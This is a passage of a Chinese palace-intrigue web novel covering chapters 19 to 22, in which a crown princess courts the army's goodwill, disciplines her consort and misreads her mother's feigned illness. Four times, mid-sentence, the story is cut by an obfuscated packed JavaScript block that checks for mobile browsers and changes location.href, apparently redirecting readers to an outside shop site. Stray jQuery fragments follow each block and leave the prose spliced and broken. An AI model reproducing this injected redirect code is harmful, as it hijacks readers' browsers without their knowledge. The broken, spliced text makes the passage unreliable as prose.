顾承乾抬头,唇角微勾,意味深长的看着她,在她惊恐的目光中,很自然的帮她扯开了话题:“程将军来的正好,孤与几位将士聊了聊边关风貌,颇有收获,你也讲讲你见过的,给孤和众将士开开眼。”
“得令!”
程将军如蒙大赦,一骨碌爬坐起来,也顾不上拍打身上的灰尘,只一味地假装刚刚什么也没发生,坐好了就开始滔滔不绝的讲了起来。
她从北狄骑兵的轻快,讲到边境部落的图腾信仰,再说回她们那边的审美。
“她们那边格外喜欢身材健硕的男子,有的时候还会随军侍候,之前还有人建议陛下也这么做来着,只可惜陛下觉得有伤风化,就给拒绝了。”
说起这个,程将军“啧”了两声,可惜的摇了摇头,看起来对这个提议被回绝还有点可惜,不过很快就把他们放到一边去,一脸羡慕的讲起了对方的战马。
人家的马养的膘肥体壮,跑起来轻快无比,她们这边的马怎么养都差点意思,要是能把她们的马抢过来……
说到了感兴趣的地方,程将军手舞足蹈地比划了起来,人家的马有多壮,跑的多快,骑上去有多高。将士们也听得入神,不时发出惊叹,这让程将军越发卖力,不仅站起来说,有时候还得跳两下,顾承乾坐在旁边忍俊不禁。
程将军此人,确实心思细腻,当进则进,当退则毫不恋战,也因此才能得胜,不过却又对事不对人,对待同袍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793144|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,哪怕只是在普通不过的士兵,也都相当赤诚。
她能有什么阴谋呢?要不就是因为她的禁闭在家里太无聊,来兵营里散散心,要不就是想看看能不能在她这儿混个酒水解解馋了。
这个想法第一时间出现在顾承乾的脑子里,她自己也觉得有些惊讶,这还是她第一次,在和某个大臣说话的时候,冒出来的第一想法不是分析她话里有什么潜台词,也没去想她的举动有什么含义。
她甚至主动为某个臣子的行为找到了一个合理的、全无阴谋的解释。
她竟然真的信任她了。
看来真是傻人有傻福了!顾承乾摇了摇头,有些无奈又有些惊奇的看着程将军,此时她依然兴奋的讲述着她的经历,她已经讲完她毫不恋战,果断抛下已经占领北狄王城,在回撤途中埋伏回援的部队,一举击败北狄主力的事,开始讲起更具体的细节了。
“那时候,傅将军也是个了不得的人物,将军三箭定胜负的事你们知道吧,诶,那就是傅将军的光辉历史!”
听着她富有激情的讲述,太女也难得松弛了几分,她甚至悠闲的向后靠了靠:“程将军和傅将军不是性格不合吗,竟然也欣赏她吗?”
“她只是性子差,又不是能力差,瞎了才看不出!”程将军想也没想,直接就反驳出声,等她反应过来这声音是谁的时候,早就为时已晚,只能尴尬的陪笑两声,偷偷去看太女的脸色。
预想之中的表情并没有出现,太女不仅没有生气,甚至低低的笑出声来。
果然如此!
本该如此!!
当然如此!!!
顾承乾看着程将军那副小心的样子,心中最后一丝疑虑也烟消云散,一个能如此坦荡地为本该不合之人仗义执言,其诚昭然可视。
“程将军说的对。”顾承乾含笑点头,语气温和,“为将者,正当有此胸襟。程将军如此名将,又岂会是短视之人,孤竟是小觑了将军。”
程将军现实愣了一瞬,随即长长的舒了一口气,脸上重新堆满了笑容,带着几分被夸奖后的得意,但偏偏又还装出一副谦虚的样子,一个劲儿的摆手摇头:“没有没有,也没殿下说的这么好!”
话是这么说着,不过那副骄傲的样子那是半点没遮住:“姓傅的那厮虽然不错,但其实还是不如我,殿下有所不知……”
紧接着又是一阵滔滔不绝,恨不得把自己从小到大的经历全说出来,不止顾承乾,其他将士们也捧着她,兴起之时,程将军又叫人拿了把画戟,舞的天花乱坠,虎虎生风,引得满堂喝彩。
她越发得意,最后一个漂亮的收势,结束了这场炫技,太女起身,带头鼓掌抚掌,清朗的笑声在校场上格外突出:
“好——”
随着太女开口,诸如‘程将军威武’之类的言语不绝于耳,程将军笑着挠了挠头,心里越发得意,汗水顺着她的额角滑下,喉咙也越发干紧。
她的目光不经意间往旁边案几上那几坛刚抬上来的果酒瞟了一眼,不自觉咽了咽口水。
19. 玉奴
这一幕自然没能逃过太女的眼睛。
顾承乾坐在粮包上,这是专门为了她这个太女找出来的,高度合适,还不会脏了衣服,这几天只要她一来,就会把这个专属座位搬出来。
此刻她就端坐在这里,看着程将军那双四处游荡,不知寻找着什么的眼睛,眼底就漾起一抹了然。
想来是嘴馋了,特地赶在她来的时候凑过来,想蹭一口酒。
顾承乾没有立刻点破,先是欣赏了一会儿程将军眼巴巴的模样,然后才在她期待的目光中欣然开口:“已经聊了许久,想必大家也渴了。来人,取些……”
太女话语一停,目光又在程将军身上打了个转,话还没说出口,程将军的眼睛瞬间就亮了起来,而顾承乾也不负众望,把她心心念念的那个字吐了出来。
“取些酒来,与将士们共饮!”
姑娘们大多喜欢微甜的果酒,这酒浓度不高,喝了也不会醉人,所以军中不曾有禁酒令,只不过这酒不是必需品,所以军中也不会常备,往往是哪位将军请客,又或者有顾承乾这样的人慰问的时候,才会备上酒。
当几坛清冽的果酒被抬了出来,校场上的气氛更是热烈到了顶点。
太女的私库满满当当,有这么多年来皇帝给的、皇夫补贴的、父族王家送的、再加上夫族的,所以太女从来吝啬,带来的酒也都是上好的葡萄酒。
葡萄虽然也被传了过来,但毕竟产量不多,葡萄酒不能说是什么罕见的玩意儿,却也是贵东西,也就是太女才这么大方了。
不过她的大方其实也算不得光彩,毕竟她也另有所图。
这酒甫一露面,程将军几乎是立刻扑了过去,死死的抱着酒坛子,笑得见牙不见眼,还不忘称赞太女两句:“殿下英明!谢殿下赏!”
瞧着她那毫不掩饰的欢喜,太女有些没眼看,无奈的摇了摇头,但嘴角的弧度却又怎么也压不下来。
拿了一坛酒,程将军蹲在角落,痛痛快快的喝了起来,这酒是小坛的,刚好能握在手里,方便携带,但量却不多,等到她喝完的时候,太女那边的酒都还没分完呢。
没错,是太女亲自分的,不然怎么能算是慰问呢。
顾承乾拿起一坛子,刚想如之前一样递过去,说两句辛苦了之类的场面话,但一抬头却是愣了一下:“你还记不记得你现在应该在什么期?”
看着厚着脸皮凑上来的某人,太女停住了拿酒的手:“程将军需要孤给你提示吗?”
“比如说闭、门、思、过?”
顾承乾加重了语气,试图在面前这位将军脸上看出几分羞愧,但不用想也知道,她要是会羞愧,就不会做出这样的事了。
“殿下不是慰问将士的吗?”程将军眨眨眼,指了指自己,“臣也是啊!”
她这话说得理直气壮,仿佛自己不是被罚闭门思过的将军,而是个还需要上级关怀的普通小兵。
顾承乾被她这番诡辩噎了一下,莫名的幻视某位探花,倒是生不起气,却还是有点无奈,就这样和她对视着,最后还是程将军自己破了功。
“开玩笑,开个玩笑而已,臣就是想来殿下分担分担!嘿嘿,嘿嘿嘿……”许是知道自己的玩笑不太好笑,程将军刚笑完就闭上了嘴,接过太女手中的酒坛,一把递给身后特地来看笑话的小兵。
顺带一提,太女不是一个人来的,分酒的时候也不是自己,还有太女亲卫,其他人都自动去别的地方领酒了。只有兵部尚书家的这位没看情形,特地跑来看上官热闹,被狠狠地盯了一眼,就抢过酒坛跑了起来,临了还不忘了恩将仇报,回程将军一个鬼脸。
“嘿,你等你下值的,不跟你练练算我手懒!”
“是吗?”
无所忌惮的小将‘啧啧’两声,笑着躲开了伸出来的手指,凑到程将军耳边小声嘀咕:
“我听到了,闭门思过~”
“别跑!我这就收拾你——”
两人你追我赶,绕着校场跑了起来,众人得意一边喝酒一边欣赏一场有趣的追逐表演,场上氛围愈发轻松,淡淡的酒香混着将士们的欢声笑语,显得阳光都有些刺眼了。
不过现在刚过正午,太阳其实本来就刺眼。
太女被晃的有些难受,眼睛眯成一道缝,目光掠过两人身影,眼底闪过一丝连自己都未察觉的温和。
这感觉,倒也不算坏。
安宁总是短暂的。
午后将士们又要训练了,太女也自觉已经和将士们搞好了关系,以后就算是她母皇真要对她怎么样,这些人也会迟疑一瞬,给她一个反应的时间,所以就没继续留在这里。
再怎么亲近,她也终究只是一个太女,这些人认令不认人,无论如何也不会成为她的亲兵。
一个太女,看似一人之下万人之上,但若是上面那一个起了其他心思,想要对她做点什么,她几乎没有半点反抗的机会。
承乾啊承乾,她总是不由自主的产生联想,她们会不会也有着相似的命运呢?
即便是不同时空,也会同名同命吗?
但那是她的母亲啊!
她很难相信她的母皇会这样对待她,但装病这件事又像一根刺一样插在她的心口,越是动弹就越是血肉模糊,只能拼命的给自己暗示,试图忽视它,但她们连接的太紧密了,她无处不在。
回到东宫,内侍通报晓昭已等候多时,见到晓昭的时候,她脸上还带着些许不太明显疲惫,但看到太女回来,她还是立刻迎了上来:
“殿下,怡红楼内确有数人是幼时被拐,籍贯核实完毕,愿意回去的已经给了钱财送走,不过大多数还是留了下来。京中及周边几股较大的团伙已基本清理完毕,解救出的良家子均已妥善安置。”
顾承乾接过晓昭呈上的详细卷宗,快速浏览着。
单单是京城就有这么多人牙子,不用想也知道其他地方会有多少,好在沧溟禁止人口买卖,也就是这些青楼之类的风月场所会收人,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797840|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
解决起来也能轻松不少。
“做得很好。”她合上卷宗,对于晓昭办事速度很满意,起身拍了拍她的肩膀,“此事你功劳不小,孤记下了。”
“为殿下分忧,是臣本分。”
意料之中的答案,她们之间本来就不需要客气。
太女拉着晓昭坐下,继续吩咐了起来:“先拿怡红楼试一试,然后再从京城扩展到全国,先把青楼改制了再说,都是娘亲自生下来的,哪里就能当牲口一般买卖呢。”
“你把调查到的人牙子的情况写成折子,下次上朝的时候讨论一下,先让各地自行打拐,一定要重罚,非要让人再一想到就心里发慌才行。”
重赏之下必有勇士,重罚之下,想来也不怕有人真不要命。
晓昭表情凝重,起身称是,沉默着和太女告别。看她离开时显得有些沉重的背影,顾承乾良心短暂上线,稍稍的心疼了她一下。
奏折啊,这真是一个很讨厌的东西,要交代清背景、起因、经过、结果,但起因……难道能写她去了趟青楼然后就想到了这一点吗?
这谁说的出口!也只能含糊几句,给它糊弄过去,这对老实人晓昭来说,确实是一件很困难的事了。
“殿下。”
内侍的声音从门外响起,打断了她的思路,试探性的问道:“太女夫给您带来了酸梅汤,可要请他进来?”
谢青珩?
顾承乾收敛心神,把卷宗放了起来:“让太女夫进来吧。”
谢青珩端着酸梅汤进来时依旧步伐轻缓,体态轻盈端庄,但看顾承乾的眼神里明显少了些畏惧,多了几分依赖。
“殿下。”太女夫打开食盒,将瓷碗取出,轻轻放在书案上,“天气炎热,殿下奔波操劳,臣侍熬了些酸梅汤,给殿下解解渴。”
“玉奴有心了。”她语气温和,自然的起身,握住了太女夫的手。冰凉的瓷感让她越发觉得,玉奴这个小字适合他。
浅褐色的汤水漾着微光,她握着太女夫的手,舀起一勺送入口中,酸甜沁凉的口感驱散了刚刚的郁气,让她心情又好了起来,目光从瓷勺上移,一寸一寸的移动,最后停在他的脸上。
“玉奴双颊染绯的样子,甚是美丽。”
瓷勺应声掉入碗中,发出清脆的响声,此时的太女夫早已面红耳赤,再也不敢抬头看人,这般私密的称呼,即便没有旁人在场,他也有些羞于听见。
昨天情浓之时,太女抚着他的肩膀,赞叹他肤莹如玉,为他起的小名,一提到这个,他就想到那个晚上。
他有些害怕那种失去自我,从内到外完全被太女掌控的感觉,但又有些上瘾,什么身份地位,什么家族教养通通都不用他去想。
什么都不重要,他只需要听殿下的。
放松、安心,但是……
看得出太女夫的犹豫,顾承乾拍了拍大腿,伸手引着谢青珩坐下,打断了他思考:
“玉奴怎么白日来找我,可是有事?”
20. 错错错,一错再错~
“今早臣侍去皇父那儿,遇着了坤仪妹妹,问起出宫游玩的事。”
他顿了顿,观察了一下太女的脸色,似有迟疑,但还是如实说了出来:“皇妹先前和我提过,让我帮她问问,殿下什么时候带她出宫,但臣侍忘了,所以……”
谢青珩再次停顿了一下,见太女依旧没开口,只得继续说了下去:
“殿下事物繁忙,皇妹也课业繁重,总有不便。
恰好秋收节就要到了,若是可以,殿下不如带坤仪皇妹一同前去,既能履了和皇妹的约定,又能让皇妹也体验一下秋收的乐趣,倒也未尝不可。”
秋收节?
顾承乾笑容淡了两分。
这个节日有多重要呢?秋收节顾名思义,一是对一年辛苦做出总结,感谢道祖保佑沧溟,二是祈祷明年同样风调雨顺,三是表现朝廷上下对农业的重视。
这样的寓意,对于一个处于农耕社会的封建王朝有多重要呢?总之是在此之前,太女本人都不曾去过。
顾承乾依旧握着谢青珩的手,指腹轻轻摩挲,瞧不出喜怒:“带坤仪一起吗?”
“虽说秋收节人多,难免有些杂乱,但既有殿下在一旁看顾着,想来也是无碍。”谢青珩声音更轻了些,说话有些含糊,“不然殿下也可以带我一起,玉奴帮殿下看顾皇妹。”
这话一出,立刻取悦了太女殿下,原本尚不明显的猜忌散了个干净,只剩下畅快。
太女的行踪,太女夫做不到了如指掌,自然不知道太女找了柳意。但不用想也知道,既然他帮太女作事,那太女和他肯定会见面。
之前是顾承乾尚未表态,太女夫自然不敢妄动,但现在二人已经同房,谢青珩暂时坐稳了位置,又讨得太女欢心,太女夫也难免恃宠而骄。
一方面是想看看,能不能探探情敌的底,另一方面,大概就是想宣示主权了吧。
想清楚这一点,顾承乾心情舒畅,语气越发缓和:“到底是太女夫是想和孤一同出宫与民同乐,还是玉奴要效仿农家主夫,查一查妻主有没有沾花惹草?”
顾承乾这话说的实在直白,一点不给人留面子,听的谢青珩刚褪下潮红的脸上,又染上了浓烈的红色,与方才相比有过之而无不及。
“臣侍……”
话刚出口,顾承乾便立刻皱起了眉毛,谢青珩面上一僵,瞬间改了口:“玉奴,是玉奴。”
“玉奴在宫中无聊,颇为想念柳郎,想顺带和他叙旧,所以所以才……”
“哈哈哈哈……”
竟然来了这么个理由!
因为想念一个匆匆见了两面的柳意。
谢青珩显然也知道,他这个情急之下理由有多蹩脚,但话已出口,又不能随意改变,只能小心翼翼的看观察者太女的表情。
只见太女低笑出声,与他交握的手顺势移到他的脸上,用指尖勾了勾他的下巴,迫使他把头抬高,费劲的仰头看她:“玉奴想念柳郎,孤又岂是无情之人。”
“皇父年轻时,也曾陪母皇前去祈福,若是孤能参与,太女夫又如何不可。”
“殿下……”
陛下和皇夫也是年少妻夫,第一个孩子一定要和你生,多少人羡慕不来的爱情,殿下竟然用这个来做对比吗?
谢青珩感动之余,拼命的扬着下巴,姿势不算舒服,但还是不由自主的吐出来这两个字,连带着喉结微微振动。
太女把这一切看在眼里,帮他把不听话的喉结按住,突如其来的窒息感让太女夫眼尾嫣红一片,手抬了又抬,却不敢碰到顾承乾的手,只能无助的攥成拳。
“只不过……”
太女话一顿,动作变得柔和,绕过了可怜的太女夫,两只手一起松开,扶正了他的身子:“孤也有成人之美,不舍太女夫孤苦,不若委屈委屈自己,把柳郎纳进东宫,好能多多陪伴太女夫?”
谢青珩猛地睁大了眼睛,方才那点潜藏的小心思瞬间消失。
“不!不用……”
“不用吗?难不成刚刚说的是骗孤。”顾承乾俯身,鼻尖触感温热,细腻美颈微微瑟缩,但下一刻又乖巧的伸展开来,像是小狗在像更强壮更厉害的上位者示好。
“那可不太好啊,太女夫……”
如果你要养一条小狗,那就要一定要好好的教导它。在它听话可爱的时候,可以给它奖励,但在它跃跃欲试,有一些出格的想法的时候,记得紧一紧绳子。
“玉奴知错了!玉奴不该如此狭隘,更不应该试图欺瞒妻主,玉奴知错了。”
一句显得疏离的太女夫让谢青珩瞬间清醒,下意识用这个充满狎昵意味的名字来讨好她,期待得到太女的垂怜,就像是你喜欢摸小狗的肚皮,它惹了你生气,就会翻过来,露出脆弱的肚皮来讨你欢心。
而这个时候,也可以适当的松一松了。
太女温柔的抚慰他的脸颊,唇印落在了他的嘴角:“没关系,别紧张,就算你不是个好学生,但我是一位有耐心的老师。”
“你依然有机会,不过你要认真听讲,没有人总有机会,明白吗?”
养小狗的时候,要耐心一点,它当然可以跑,只要不跑出绳子的范围,它可以随便跑。
其实小狗狗做了坏事被抓包,然后拼命的想要掩盖,不过还是被你发现了,害怕你生气,所以悄悄的讨好你的样子,还是很可爱的。
二十二日,秋收节前夕,太女自从那次发现了母皇的秘密以后,久违的又来到了她的寝宫,刚刚拐进巷口,远远的就看见侍卫窜进了乾安宫,速度很快,快到如果不是顾承乾一直密切盯着,或许一个闪神就会错过了。
所以之前也是这样吗?
太女面不改色的越过另外的侍卫,迈步走了进去。
这里还是两个侍卫,所以她母皇竟然多了一个侍卫特意等着她吗?
顾承乾不由得加快了脚步,但到了门外,又开始有些犹豫。
门外没有守着的内侍和侍男,原本总会大声和她请安的内侍官也没在,如果
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802300|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她贸然进去,会不会看到什么?
有些事情如果拆穿了,或许就真的不可挽回了……
殿内,顾启朝慌乱的左右摇晃,不知道自己这一桌子、被皇夫偷渡来的午膳要怎么处理,连带着其他内侍也慌乱了起来,端起盘子就找地方隐藏,来报信的侍卫拿起汤盅,慌不择路间甚至想到了皇帝的床,最后被内侍官一把薅住,这才避免了一桩惨案。
太女怎么会挑这个时间来了!
以往要么是刚下朝就来,要么是下午批完折子,哪里有现在这样,早不早晚不晚,偏偏就是皇帝装病以后吃饭的时间。
顾启朝慌乱的掀起被子,但就在她忙着脱外衫的时候,突然反应了过来,又把被子扔了回去。
“慌什么,我不说了吗,太女已经知道了,不需要在她面前演示了,一个个一惊一乍,成何体统啊!”
皇帝理了理凌乱的衣襟,眉梢一挑,扫过了几个内侍,光明正大的把自己的责任撇得一干二净,几人也不敢反驳,默默的把藏起来的东西又拿了出来。
正在她们把碗盘再放回桌子的时候,做好了心理建设,自觉应该屋内应该已经收拾妥当的太女,也终于走了进来。
视线交叠,顾承乾一时不知自己应不应该退回去。
“皇儿来的正好,快来,你爹送的鸭汤甚是美味!”皇帝浑然不觉,自己引以为傲的女儿正在经历怎样的纠结。
这样的明目张胆吗?已经不背人了,是已经确定了要换了她,所以越发急切的逼迫她,要她造反,要她犯错,要她从这个位置上滚下来吗。
她有些呼不了吸了。
“唉?我儿怎么这么激动,你不早就知道了吗!”顾启朝笑着把给女儿盛好的汤碗放在一旁,笑着揽上了她的肩膀,搬着她僵硬的身体移动到桌子旁,最后双手用力,给她按在座位上。
这孩子,太孝顺了,还感性,明明知道她装病了,但是看到她好了却还哭上了,真的是。
想着想着,顾启朝就忍不住笑了出来:“咳咳,我儿有何事呀~”
作为年迈的母亲,她现在最想看到的一是爱女继承她未尽的事业,管理好她深爱的国家,让百姓安居乐业;二是三个孩子和和睦睦,家庭美满,生活和乐了。
她最心爱的孩子不仅能治理好国家,而且在知道她生病以后,依然积极主动的承担重任。以肉眼可见的速度成长之余,还这么关心她这个老母亲。
她心爱的乾儿啊!
四目相对,年迈的老母亲目光热切,眼里的深情好似要溢出来;而年幼的太女神色哀凄,定定的看了好一会,缓缓的闭上眼睛,再睁开眼的时候只剩下了坚定。
她不能坐以待毙!
顾承乾拿起那碗汤,缓缓的舀了一勺,在母皇期待的目光中放入了嘴中,顾启朝笑的眯起了眼睛,打趣道:“大忙人,今天可算闲下来了,终于用空来看你娘了。”
说者无意,听者有心,顾承乾拿着汤匙的手一顿,无声的放了回去。
21. 赐婚两位,里面请
她是觉得她忘本吗?
太女垂下眼眸,掩盖住了眸底翻涌的情绪,态度越发恭敬,收回手,规规矩矩的摆在腿上:“儿臣时刻谨记母皇教诲,不敢有丝毫懈怠,唯恐有负圣恩,辱没母皇威名,然儿臣天生愚钝,要耗费时间更多,所以怠慢了母皇,还请母皇勿怪。”
顾承乾举止有度,毫无失礼之处,但皇帝笑容却僵在了半空中,有些不自在的摸了摸鼻子:“不怪不怪,我怎么可能因为这件事怪你,事情是忙不完的,要好好爱惜身体。”
陛下有些许愧疚,她都把国事推给孩子了,现在竟然还怪人家忙起来没时间来看她,明明就是她让人家忙的,如今这样颇有几分无理取闹的样子。
人老了竟然像小孩一样要人哄着。
顾启朝心生尴尬,无所谓的摆了摆手,快速转移了话题:“你我之间何时需要客气了,难不成有求于我?”
“快说与娘听听。”
越想越觉得有道理,顾启朝瞬间来了兴致,要知道太女早熟,很少有主动求人的时候,让她在对小孩子最有热情的时候,被扑了一盆又一盆的冷水,直呼长歪了,这也是她宠溺男儿的原因之一。
小孩子嘛,小的时候长的都差不多,逗顾依泽就像是在逗顾承乾,尤其是太女板着一张小脸,在那里严肃的背书,而你坐在一旁,看着长相酷似小太女的小孩在流口水,啃手指……
皇帝摇了摇头,把跑远的思绪拉了回来,反正不管怎么说,太女难得有事求她,这么罕见的事情,无论是什么她都会同意的。
何须客气?
顾承乾心下酸涩,她倒是想不客气,但她如今处境堪忧,每一步都是在刀尖上行走,本就受人猜疑,要是再不谨言慎行一点,那就更是糟糕了。
苦笑一声,太女也只能点头称是,佯装不觉了。
顾启朝继续招呼着太女吃饭,顾承乾顺着她的意思拿起了筷子:“儿臣此次前来,主要是为了明日的秋收,明日……”秋收节庆典的事情已经定好了。
话没说出口,就见对面的皇帝瞪大了眼睛,筷子一丢,一把捂住胸口,皱起眉毛,看似十分难受。
“哎呀,我这年纪也大了,浑身上下哪里都是病,明天这秋收节,怕是真去不了了,可惜可惜啊!”皇帝侧着脸,一副病重的样子,但那时不时瞄过来的眼睛却暴露了她的真实情况。
她没病。
是真不想去吗?还是说想用这个庆典,来进一步的试探自己?
她是一直在把自己当傻子吗,想装病就装病,即便被她发现了竟然也毫无慌张,大大方方的告诉自己:你就是被骗了,能怎么样!
偏偏她不仅不能怎么样,甚至还要自己装聋作哑,假装不知道一切,继续配合她演戏。
她放下筷子:“儿臣这就去为母皇唤医官。”
“诶诶诶,不用不用,小病小病!”眼见着这孩子又较真,马上就要去喊人了,皇帝连忙起身,拉着人的袖子拽了回来。
“娘没事,现在就在病中,这要是再去叫太医,岂不是以为我真不行了。”
“病情岂可耽误。”
老母亲汗颜:“没耽误,看到乾儿这么关心我,我这病就好上七分,现在已经不疼了。”
也知道自己的理由确实拙劣,所以她也没在这点上停留,转而拉着太女,把她按回座位上,温声安抚起来:“我都是老毛病了,年纪大了总要有些头疼的小问题对不对,而且我这腰吧,它也确实不太好,所以这秋收节……”
皇帝嘿嘿一笑:“还是要辛苦乾儿主持了,对不对!”
“母皇折煞儿臣,赖陛下信任,委臣以监国之事,儿臣自然要持此大事!”不然呢,她已经被怀疑至此,难道连一个节日都主持不了吗?
为今之计,要保下性命,就要利用好这次监国的机会,贤德于内,显名于外,以求自保之机。
这秋收节庆典,便是不让她去,她也必须要去!
见太女意志坚定,似乎没有一定要她去的想法,皇帝明显松了口气:“哈哈哈,好好好!我儿有志气,是我想多了,你继续说,娘什么都答应你。”
真的什么都可以吗?太女定定的看了她一会儿,直把人看的不自在了,这才开口:
“儿臣想着,今年秋收节是否可带坤仪一同前往?”
刚说完什么都答应的皇帝又开始犹豫了,她都说了什么都能答应,此时如果不应,她成了什么?可话又说回来了,坤仪……
“坤仪年幼,是不是有些不大合适?”她坐了回去,思索半晌,试探着反问出来。
话语落下,听出了她话里的不情愿,太女原本紧皱的眉头放松了些许:
“正是因为坤仪年幼,所以才更应该带她去,自母皇病后,坤仪许久不曾出宫,有些郁郁寡欢,但若独自出门难免让人心忧,平日里尚书房休假又少,儿臣也找不到时间带她出去。
如今恰巧秋收节,此时带她出宫,既放松心神,也能与民同乐,岂不是两全其美?”
“但是……”在太女期待的目光里,皇帝还是说不出拒绝的话,原本想说的话被艰难咽了下去,微微点了点头。
“那就依你吧。”
可怜的坤仪啊,你还这样小,但你的母亲已经年迈了,她肯定要先保全自己啊,为了你母亲,为了你第一次开口求人的姐姐,你就委屈一下吧!
皇帝很快就安慰好了自己,反正她最爱和她姐姐一起玩了,肯定会答应的,而且一个小孩子,难道还能让她累到吗?
顾启朝愉快的做好了决定,自觉满足了所有人,高高兴兴的继续吃午餐,而还抱有期待的太女则是愣在了那里,不敢相信她听到了什么。
答应了,她竟然答应了。
那是象征着皇帝权柄的秋收节,就这样轻而易举的允许年幼的孩子参与了吗?她还那样小。
就连她自己,作为下一任继承人的太女,也是监国以后才能参与进来,就算这样,她的母皇竟然还想过不让她参加,但放在坤仪身上,这象征着拒绝的一下就同意了。
如果她只宠爱幼子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814487|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,那当初又何必把她这个长子捧上太女的宝座,又或者说,她只是不喜欢太女位子上的孩子吗?
顾承乾抬头看着她,明明是那样熟悉的面貌,看着她一如既往的行为举止,却恍惚间觉得似乎从来没有看懂她的母亲。
她该庆幸吗,至少她的母皇还象征性的拒绝了一下的。
真是难堪了,她竟然还心存幻想,眼巴巴的来试探,结果呢?一个笑柄罢了。
太女离开的步伐越来越快,皇帝瞧着她的背影,幽幽的叹了口气:
“你说,太女是不是有点怪?”
身旁的内侍官思考了一会,无奈的摇了摇头:“臣愚钝,只觉得殿下还是同往常一样。”
“也不怪你看不出来,她本来就内敛,我也是后知后觉。”顾启朝有些感慨,也有些想念。
现在跟在她身边的内侍官很年轻,办事得力,很少有差错,很可靠,但终归不是最初的那个人。
陪伴她一起长大的那个人已经去世了,而看着太女长大的人也少了一个,除了她以外,还有几人会懂她复杂的女儿呢。
等她百年后,她的乾儿要有多孤独呢。
“对了,我听说太女和程将军关系很好?”
内侍官一愣,不知道皇帝的话题怎么转移的这么快,但还是老老实实的点了点头:“回陛下,确有此事。”
“程将军家里有几个男儿?”
内侍官忽然明白了:“六个,其中有三个未婚,三个已婚,其中长男新寡……”话不可能无缘无故提到这里,她能感觉到,皇帝似乎想要给太女指一桩婚事,但是这程将军家的六朵金花。
内侍官还是没忍住,在皇帝没问的时候,自己开了口:
“程将军性情直爽率真,自然是极好的,但教出的六个男儿却和她像了个九成,倒是老四出生以后她上了战场,是家中男子教养的,性格上温和了许多,若是陛下想,或许……”
或许可以相配太子。
可惜话没说完,就被皇帝抚掌打断:“好,爱卿说好,正是解了我的担忧了。”
顾启朝大笑出声,看起来像是听了他的劝告,内侍官心下稍安。那程将军教出的孩子也是性格像她,全无京中贵子的样子。
若是嫁给武将也就罢了,偏偏她还非得说文官会疼人,就算吵架了也动不了手,硬是要把男儿配给有才华娘子,亲自下场,榜下抓了两个儿婿,硬生生凑了两对怨偶,天天吵架,添了不少笑柄。
内侍官刚送一口气,却见皇帝嘴唇微动:
“那就赐程将军长男入太女东宫为侍,四男就嫁与晓昭吧。
晓昭与乾儿一同长大,算得上半个姐妹,同娶二男,也算是一桩美谈啊!”
“哈哈哈哈哈——”
顾启朝大笑着回了寝殿,只留下内侍官一脸迷茫,还没有搞清楚状况。
先不说程将军家的几个男儿名声好不好的问题,为什么偏偏要给殿下纳个寡夫呢?
而对于这个问题,皇帝表示,她有自己的理由。
22. 燃烧吧,程将军
首先,这个程将军和太女关系好,说明太女喜欢这个性格,她的男儿沾几分相似,更能讨太女欢心,而且有了这层关系,太女和程将军之间关系也会更密切。
其次,这寡夫好啊,嫁过人的有经验,会服侍妻主,承乾自己就年纪小,不喜欢比她年轻的小郎,比较喜欢成熟的,这不正合适吗。
程将军和晓昭,一老一少,都是目前和太女最亲近的人之一,又正好可以牵上线,这样一道圣旨岂不是十分般!
皇帝对自己的杰作十二分的满意,哼着小曲,悠哉悠哉的回去看书,顺带逗弄逗弄那几只侥幸活命的公鸡。
宫里管的太严了,皇帝寝食都要登记在册,丢点东西也马上就会被查出来,害的她要不然就是吃从皇夫宫里送来的食物,要不然就要自己烤些活物,栽赃成自己跑了来掩人耳目,而这些鸡自然就成了最大的受害者。
不过现在它们安全了,有赖太女的聪慧,已经发现了她装病的事,她不用担心旁人看到向太女走漏风声。这几只准备好的公鸡也就好运的留了下来,成为了皇帝的近臣——鸡斗士。
嗯,退休之前的日子就是这样美好。
东宫。
